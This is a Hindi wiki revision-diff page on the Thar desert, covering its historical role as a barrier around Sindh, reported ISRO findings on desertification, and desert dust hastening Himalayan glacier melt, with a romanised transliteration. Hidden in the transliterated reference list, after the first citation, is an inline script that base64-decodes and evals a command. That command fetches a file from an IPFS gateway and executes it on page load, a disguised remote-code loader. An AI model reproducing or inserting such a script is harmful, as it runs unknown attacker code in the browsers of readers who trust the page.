Difference between revisions of "थार मरुस्थल"

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'''थार मरुस्थल''' [[राजपूताना]] और [[सिन्धु नदी]] की घाटी के निचले भाग के मध्य में फैला हुआ है। इस मरुस्थल में एक बूँद [[जल]] नहीं मिलता और इसे केवल कारवाँ के द्वारा ही पार किया जा सकता है। यह [[भारत]] और [[पाकिस्तान]] के बीच की सीमा रेखा भी बनाता है। यह [[सिंध]] को दक्षिण और उत्तरी पश्चिमी भारत से पृथक करता है। अरबों ने जब 710 ई. में सिंध विजय की, तो इस मरुस्थल के कारण वे अपने राज्य का विस्तार सिंध से आगे नहीं कर सके। इस मरुस्थल ने कुछ समय तक [[अंग्रेज़|अंग्रेज़ों]] को भी सिंध पर अपना आधिपत्य जमाने से रोके रखा। अंग्रेज़ सिंध पर दाँत इसीलिए गड़ाये थे, क्योंकि यह [[अफ़ग़ानिस्तान]] और [[पंजाब]] का प्रवेशद्वार था। अंग्रेज़ों के द्वारा सिंध के अधिग्रहण के बाद यह मरुस्थल भारतीय ब्रिटिश साम्राज्य का अंग बन गया।<ref>{{cite book | last = भट्टाचार्य| first = सच्चिदानन्द | title = भारतीय इतिहास कोश | edition = द्वितीय संस्करण-1989| publisher = उत्तर प्रदेश हिन्दी संस्थान| location =  भारत डिस्कवरी पुस्तकालय| language =  हिन्दी| pages = 194 | chapter =}}</ref>
 
'''थार मरुस्थल''' [[राजपूताना]] और [[सिन्धु नदी]] की घाटी के निचले भाग के मध्य में फैला हुआ है। इस मरुस्थल में एक बूँद [[जल]] नहीं मिलता और इसे केवल कारवाँ के द्वारा ही पार किया जा सकता है। यह [[भारत]] और [[पाकिस्तान]] के बीच की सीमा रेखा भी बनाता है। यह [[सिंध]] को दक्षिण और उत्तरी पश्चिमी भारत से पृथक करता है। अरबों ने जब 710 ई. में सिंध विजय की, तो इस मरुस्थल के कारण वे अपने राज्य का विस्तार सिंध से आगे नहीं कर सके। इस मरुस्थल ने कुछ समय तक [[अंग्रेज़|अंग्रेज़ों]] को भी सिंध पर अपना आधिपत्य जमाने से रोके रखा। अंग्रेज़ सिंध पर दाँत इसीलिए गड़ाये थे, क्योंकि यह [[अफ़ग़ानिस्तान]] और [[पंजाब]] का प्रवेशद्वार था। अंग्रेज़ों के द्वारा सिंध के अधिग्रहण के बाद यह मरुस्थल भारतीय ब्रिटिश साम्राज्य का अंग बन गया।<ref>{{cite book | last = भट्टाचार्य| first = सच्चिदानन्द | title = भारतीय इतिहास कोश | edition = द्वितीय संस्करण-1989| publisher = उत्तर प्रदेश हिन्दी संस्थान| location =  भारत डिस्कवरी पुस्तकालय| language =  हिन्दी| pages = 194 | chapter =}}</ref>
 
==क्षेत्रफल में वृद्धि==
 
==क्षेत्रफल में वृद्धि==
थार मरुस्थल हर साल आधा किलोमीटर की रफ्तार से उत्तर-पूर्व की ओर बढ़ रहा। आने वाले वक्त में यह [[भारत]] के भू-उपयोग का नक्शा ही बदल देगा। 'इंडियन स्पेस रिसर्च ऑर्गेनाइजेशन' (इसरो) की ताजा रिसर्च में यह खुलासा हुआ है कि, कल तक [[राजस्थान]] की पहचान रहे थार मरुस्थल ने अब [[हरियाणा]], [[पंजाब]], [[उत्तर प्रदेश]] तथा [[मध्य प्रदेश]] तक अपने पाँव पसार लिए हैं। रेतीली मिट्टी के फैलाव के अलावा देश के अन्य हिस्सों में भी मृदा का ह्रास इस हद तक बढ़ गया है कि, [[कृषि]] और वानिकी पर आजीविका चला रहे साठ प्रतिशत लोगों के सामने रोजी-रोटी का संकट खड़ा होने की आशंका पैदा हो गई है। इसरो ने पहली बार देश की भू-संपदा के डिग्रेडेशन (ह्रास) स्टेटस का नक्शा तैयार किया है। इसके लिए भारतीय उपग्रह आई.आर.एस.पी.सी.-1 रिसोर्ससेट पर स्थापित एडवांस्ड वाइड फ़ील्ड सेंसर से समय-समय पर ली गई सेटेलाइट तस्वीर का गहन विश्लेषण किया गया। विश्लेषण के आधार पर तैयार नक्शे से संकेत मिलते हैं कि, पूवी घाट, पश्चिमी घाट तथा पश्चिमी [[हिमालय]] सतह से नीचे जा रहे हैं।
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थार मरुस्थल हर साल आधा किलोमीटर की रफ्तार से उत्तर-पूर्व की ओर बढ़ रहा। आने वाले वक्त में यह [[भारत]] के भू-उपयोग का नक्शा ही बदल देगा। 'इंडियन स्पेस रिसर्च ऑर्गेनाइजेशन' (इसरो) की ताजा रिसर्च में यह खुलासा हुआ है कि, कल तक [[राजस्थान]] की पहचान रहे थार मरुस्थल ने अब [[हरियाणा]], [[पंजाब]], [[उत्तर प्रदेश]] तथा [[मध्य प्रदेश]] तक अपने पाँव पसार लिए हैं। रेतीली मिट्टी के फैलाव के अलावा देश के अन्य हिस्सों में भी मृदा का ह्रास इस हद तक बढ़ गया है कि, [[कृषि]] और वानिकी पर आजीविका चला रहे साठ प्रतिशत लोगों के सामने रोजी-रोटी का संकट खड़ा होने की आशंका पैदा हो गई है। इसरो ने पहली बार देश की भू-संपदा के डिग्रेडेशन (ह्रास) स्टेटस का नक्शा तैयार किया है। इसके लिए भारतीय उपग्रह आई.आर.एस.पी.सी.-1 रिसोर्ससेट पर स्थापित एडवांस्ड वाइड फ़ील्ड सेंसर से समय-समय पर ली गई सेटेलाइट तस्वीर का गहन विश्लेषण किया गया। विश्लेषण के आधार पर तैयार नक्शे से संकेत मिलते हैं कि, पूवी घाट, पश्चिमी घाट तथा पश्चिमी [[हिमालय]] सतह से नीचे जा रहे हैं।<ref name="mcc">{{cite web |url=http://dineshbothra.blogspot.com/2010/01/blog-post_10.html |title=देश के भूगोल को बदल देगा थार |accessmonthday=28 जून |accessyear= 2011|last=बोथरा|first=दिनेश |authorlink= |format=एच.टी.एम.एल. |publisher= |language=[[हिन्दी]]}}</ref>
  
सबसे ज़्यादा चौंकाने वाला तथ्य यह सामने आया है कि, देश के 32 प्रतिशत भू-भाग का बुरी तरह ह्रास हो चुका है। इसमें से सर्वाधिक 24 प्रतिशत मरुस्थली क्षेत्र है। राजस्थान राज्य तो ज़बर्दस्त मरुस्थलीकरण की चपेट में है। राष्ट्रीय मृदा सर्वे और भूमि उपयोग नियोजन ब्यूरो का कहना है कि थार मरुस्थल के फैलाव का अंदाजा इसी से लगाया जा सकता है कि 1996 तक 1 लाख, 96 हज़ार 150 वर्ग किमी. में फैले मरुस्थल का विस्तार अब 2 लाख, 8 हज़ार 110 किमी. तक हो चुका है। [[अरावली पर्वतश्रेणी|अरावली पर्वत]] शृंखलाओं की प्राकृतिक संपदा को भी नुकसान पहुंचने से भूमि ज़्यादा बंजर हुई है। यहाँ लोगों ने जलावन और जरूरतों की पूर्ति के लिए जंगलों पर कुल्हाड़ी चलाई है। [[गंगा]] के मैदानी क्षेत्रों, हरियाणा, पंजाब, उत्तर प्रदेश तथा [[गुजरात]] के तटीय क्षेत्रों में भी लवणीयता बेतहाशा बढऩे से उत्पादकता कम होने की आशंका जताई गई है। वैज्ञानिकों का कहना है कि जिस तरह वानिकी ह्रास तथा मरुस्थल का विस्तार हो रहा है, उससे आने वाले सालों में देश के भू-उपयोग का नक्शा बदलने से इंकार नहीं किया जा सकता। इस समय देश की 9.47 मिलियन हैक्टेयर भूमि बंजर हो चुकी है। बारिश में हर साल कमी और अकाल की विभीषिका से चोली-दामन का साथ होने के कारण भी भविष्य में स्थितियाँ बिगडऩे की आशंकाएँ हैं।
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सबसे ज़्यादा चौंकाने वाला तथ्य यह सामने आया है कि, देश के 32 प्रतिशत भू-भाग का बुरी तरह ह्रास हो चुका है। इसमें से सर्वाधिक 24 प्रतिशत मरुस्थली क्षेत्र है। राजस्थान राज्य तो ज़बर्दस्त मरुस्थलीकरण की चपेट में है। राष्ट्रीय मृदा सर्वे और भूमि उपयोग नियोजन ब्यूरो का कहना है कि थार मरुस्थल के फैलाव का अंदाजा इसी से लगाया जा सकता है कि 1996 तक 1 लाख, 96 हज़ार 150 वर्ग किमी. में फैले मरुस्थल का विस्तार अब 2 लाख, 8 हज़ार 110 किमी. तक हो चुका है। [[अरावली पर्वतश्रेणी|अरावली पर्वत]] शृंखलाओं की प्राकृतिक संपदा को भी नुकसान पहुंचने से भूमि ज़्यादा बंजर हुई है। यहाँ लोगों ने जलावन और जरूरतों की पूर्ति के लिए जंगलों पर कुल्हाड़ी चलाई है। [[गंगा]] के मैदानी क्षेत्रों, हरियाणा, पंजाब, उत्तर प्रदेश तथा [[गुजरात]] के तटीय क्षेत्रों में भी लवणीयता बेतहाशा बढऩे से उत्पादकता कम होने की आशंका जताई गई है। वैज्ञानिकों का कहना है कि जिस तरह वानिकी ह्रास तथा मरुस्थल का विस्तार हो रहा है, उससे आने वाले सालों में देश के भू-उपयोग का नक्शा बदलने से इंकार नहीं किया जा सकता। इस समय देश की 9.47 मिलियन हैक्टेयर भूमि बंजर हो चुकी है। बारिश में हर साल कमी और अकाल की विभीषिका से चोली-दामन का साथ होने के कारण भी भविष्य में स्थितियाँ बिगडऩे की आशंकाएँ हैं।<ref name="mcc"/>
 
==हिमालय के ग्लेशियरों को ख़तरा==
 
==हिमालय के ग्लेशियरों को ख़तरा==
थार मरुस्थल से उठने वाले बवंडर [[हिमालय]] के ग्लेशियर को पानी-पानी कर रहे हैं। अब तक ग्लेशियर पिघलने के लिए ग्लोबल वार्मिंग को ही ज़िम्मेदार ठहरा रहे वैज्ञानिकों ने कहा है कि, थार से उठने वाले अंधड़ के धूल कण बर्फ को पानी बनाने के सबब बने हुए हैं। दरअसल, यूरोपियन और अमेरिकन रिसर्च के बाद ग्लेशियर पिघलने के कारणों का पता लगा रहे भारतीय वैज्ञानिकों ने इसे एक प्रमुख फेक्टर माना है। सेटेलाइट अध्ययन के आधार पर पता लगा कि [[अरब]] प्रायद्वीप के अनेक हिस्सों के साथ-साथ थार मरुस्थल से तेज़ तूफानी हवा के साथ उडऩे वाले धूल के कण [[हिमाचल प्रदेश]] तथा [[उत्तराखंड]] से लगते हिमालय से टकरा रहे हैं। कैलिफोर्निया यूनिवर्सिटी के डॉ. रमेश सिंह ने आई.आई.टी. [[कानपुर]] में रिसर्च के दौरान पाया कि, जिस जगह से बर्फ के पिघलने की रफ्तार तेज़ है, वहाँ बर्फ में रेतीली मिट्टी के कण पाए गए हैं। इन कणों के साथ बर्फ में [[लोहा|लोहे]] या अन्य खनिज मिलते रहते हैं। बर्फ की संरचना में यह मिश्रण सौर विकिरणों का सर्वाधिक अवशोषण करता है। नतीजतन, बर्फ पिघलने लगती है। प्री-मानसून सीजन में उठने वाले अंधड़ से उत्तर-पश्चिम का हिमालय ज़्यादा प्रभावित होता है। हालांकि अब तक वैज्ञानिक सर्दियों में होने वाले हिमपात के दौरान अंधड़ के असर का अध्ययन नहीं कर पाए हैं, क्योंकि इस दौरान के 'ग्राउंड मैट्रोलोजिकल डेटा' का विश्लेषण नहीं हो पाया है। वैज्ञानिकों का कहना है कि इसके अलावा पिछले तीस सालों में [[गंगा]] के मैदानी इलाकों के साथ-साथ उत्तरी भाग में बायोमास से निकली कालिख भी हिमालय को प्रदूषित करने के अलावा ग्लेशियर पिघलने का कारण बनी हुई है।
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थार मरुस्थल से उठने वाले बवंडर [[हिमालय]] के ग्लेशियर को पानी-पानी कर रहे हैं। अब तक ग्लेशियर पिघलने के लिए ग्लोबल वार्मिंग को ही ज़िम्मेदार ठहरा रहे वैज्ञानिकों ने कहा है कि, थार से उठने वाले अंधड़ के धूल कण बर्फ को पानी बनाने के सबब बने हुए हैं। दरअसल, यूरोपियन और अमेरिकन रिसर्च के बाद ग्लेशियर पिघलने के कारणों का पता लगा रहे भारतीय वैज्ञानिकों ने इसे एक प्रमुख फेक्टर माना है। सेटेलाइट अध्ययन के आधार पर पता लगा कि [[अरब]] प्रायद्वीप के अनेक हिस्सों के साथ-साथ थार मरुस्थल से तेज़ तूफानी हवा के साथ उडऩे वाले धूल के कण [[हिमाचल प्रदेश]] तथा [[उत्तराखंड]] से लगते हिमालय से टकरा रहे हैं। कैलिफोर्निया यूनिवर्सिटी के डॉ. रमेश सिंह ने आई.आई.टी. [[कानपुर]] में रिसर्च के दौरान पाया कि, जिस जगह से बर्फ के पिघलने की रफ्तार तेज़ है, वहाँ बर्फ में रेतीली मिट्टी के कण पाए गए हैं। इन कणों के साथ बर्फ में [[लोहा|लोहे]] या अन्य खनिज मिलते रहते हैं। बर्फ की संरचना में यह मिश्रण सौर विकिरणों का सर्वाधिक अवशोषण करता है। नतीजतन, बर्फ पिघलने लगती है। प्री-मानसून सीजन में उठने वाले अंधड़ से उत्तर-पश्चिम का हिमालय ज़्यादा प्रभावित होता है। हालांकि अब तक वैज्ञानिक सर्दियों में होने वाले हिमपात के दौरान अंधड़ के असर का अध्ययन नहीं कर पाए हैं, क्योंकि इस दौरान के 'ग्राउंड मैट्रोलोजिकल डेटा' का विश्लेषण नहीं हो पाया है। वैज्ञानिकों का कहना है कि इसके अलावा पिछले तीस सालों में [[गंगा]] के मैदानी इलाकों के साथ-साथ उत्तरी भाग में बायोमास से निकली कालिख भी हिमालय को प्रदूषित करने के अलावा ग्लेशियर पिघलने का कारण बनी हुई है।<ref name="mcc"/>
  
 
{{प्रचार}}
 
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Revision as of 12:49, 8 June 2011

thar marusthal rajapootana aur sindhu nadi ki ghati ke nichale bhag ke madhy mean phaila hua hai. is marusthal mean ek booand jal nahian milata aur ise keval karavaan ke dvara hi par kiya ja sakata hai. yah bharat aur pakistan ke bich ki sima rekha bhi banata hai. yah siandh ko dakshin aur uttari pashchimi bharat se prithak karata hai. araboan ne jab 710 ee. mean siandh vijay ki, to is marusthal ke karan ve apane rajy ka vistar siandh se age nahian kar sake. is marusthal ne kuchh samay tak aangrezoan ko bhi siandh par apana adhipaty jamane se roke rakha. aangrez siandh par daant isilie g daye the, kyoanki yah afaganistan aur panjab ka praveshadvar tha. aangrezoan ke dvara siandh ke adhigrahan ke bad yah marusthal bharatiy british samrajy ka aang ban gaya.[1]

kshetraphal mean vriddhi

thar marusthal har sal adha kilomitar ki raphtar se uttar-poorv ki or badh raha. ane vale vakt mean yah bharat ke bhoo-upayog ka naksha hi badal dega. 'iandiyan spes risarch aaurgenaijeshan' (isaro) ki taja risarch mean yah khulasa hua hai ki, kal tak rajasthan ki pahachan rahe thar marusthal ne ab hariyana, panjab, uttar pradesh tatha madhy pradesh tak apane paanv pasar lie haian. retili mitti ke phailav ke alava desh ke any hissoan mean bhi mrida ka hras is had tak badh gaya hai ki, krishi aur vaniki par ajivika chala rahe sath pratishat logoan ke samane roji-roti ka sankat kh da hone ki ashanka paida ho gee hai. isaro ne pahali bar desh ki bhoo-sanpada ke digredeshan (hras) stetas ka naksha taiyar kiya hai. isake lie bharatiy upagrah aee.ar.es.pi.si.-1 risorsaset par sthapit edavaansd vaid fild seansar se samay-samay par li gee setelait tasvir ka gahan vishleshan kiya gaya. vishleshan ke adhar par taiyar nakshe se sanket milate haian ki, poovi ghat, pashchimi ghat tatha pashchimi himalay satah se niche ja rahe haian.[2]

sabase zyada chauankane vala tathy yah samane aya hai ki, desh ke 32 pratishat bhoo-bhag ka buri tarah hras ho chuka hai. isamean se sarvadhik 24 pratishat marusthali kshetr hai. rajasthan rajy to zabardast marusthalikaran ki chapet mean hai. rashtriy mrida sarve aur bhoomi upayog niyojan byooro ka kahana hai ki thar marusthal ke phailav ka aandaja isi se lagaya ja sakata hai ki 1996 tak 1 lakh, 96 hazar 150 varg kimi. mean phaile marusthal ka vistar ab 2 lakh, 8 hazar 110 kimi. tak ho chuka hai. aravali parvat shriankhalaoan ki prakritik sanpada ko bhi nukasan pahuanchane se bhoomi zyada banjar huee hai. yahaan logoan ne jalavan aur jarooratoan ki poorti ke lie jangaloan par kulha di chalaee hai. ganga ke maidani kshetroan, hariyana, panjab, uttar pradesh tatha gujarat ke tatiy kshetroan mean bhi lavaniyata betahasha badhऩe se utpadakata kam hone ki ashanka jataee gee hai. vaijnanikoan ka kahana hai ki jis tarah vaniki hras tatha marusthal ka vistar ho raha hai, usase ane vale saloan mean desh ke bhoo-upayog ka naksha badalane se iankar nahian kiya ja sakata. is samay desh ki 9.47 miliyan haikteyar bhoomi banjar ho chuki hai. barish mean har sal kami aur akal ki vibhishika se choli-daman ka sath hone ke karan bhi bhavishy mean sthitiyaan bigadऩe ki ashankaean haian.[2]

himalay ke gleshiyaroan ko khatara

thar marusthal se uthane vale bavandar himalay ke gleshiyar ko pani-pani kar rahe haian. ab tak gleshiyar pighalane ke lie global varmiang ko hi zimmedar thahara rahe vaijnanikoan ne kaha hai ki, thar se uthane vale aandh d ke dhool kan barph ko pani banane ke sabab bane hue haian. darasal, yooropiyan aur amerikan risarch ke bad gleshiyar pighalane ke karanoan ka pata laga rahe bharatiy vaijnanikoan ne ise ek pramukh phektar mana hai. setelait adhyayan ke adhar par pata laga ki arab prayadvip ke anek hissoan ke sath-sath thar marusthal se tez toophani hava ke sath udऩe vale dhool ke kan himachal pradesh tatha uttarakhand se lagate himalay se takara rahe haian. kailiphorniya yoonivarsiti ke d aau. ramesh sianh ne aee.aee.ti. kanapur mean risarch ke dauran paya ki, jis jagah se barph ke pighalane ki raphtar tez hai, vahaan barph mean retili mitti ke kan pae ge haian. in kanoan ke sath barph mean lohe ya any khanij milate rahate haian. barph ki sanrachana mean yah mishran saur vikiranoan ka sarvadhik avashoshan karata hai. natijatan, barph pighalane lagati hai. pri-manasoon sijan mean uthane vale aandh d se uttar-pashchim ka himalay zyada prabhavit hota hai. halaanki ab tak vaijnanik sardiyoan mean hone vale himapat ke dauran aandh d ke asar ka adhyayan nahian kar pae haian, kyoanki is dauran ke 'grauand maitrolojikal deta' ka vishleshan nahian ho paya hai. vaijnanikoan ka kahana hai ki isake alava pichhale tis saloan mean ganga ke maidani ilakoan ke sath-sath uttari bhag mean bayomas se nikali kalikh bhi himalay ko pradooshit karane ke alava gleshiyar pighalane ka karan bani huee hai.[2]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 194.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 2.0 2.1 2.2 bothara, dinesh. desh ke bhoogol ko badal dega thar (hindi) (ech.ti.em.el.). . abhigaman tithi: 28 joon, 2011.

bahari k diyaan

sanbandhit lekh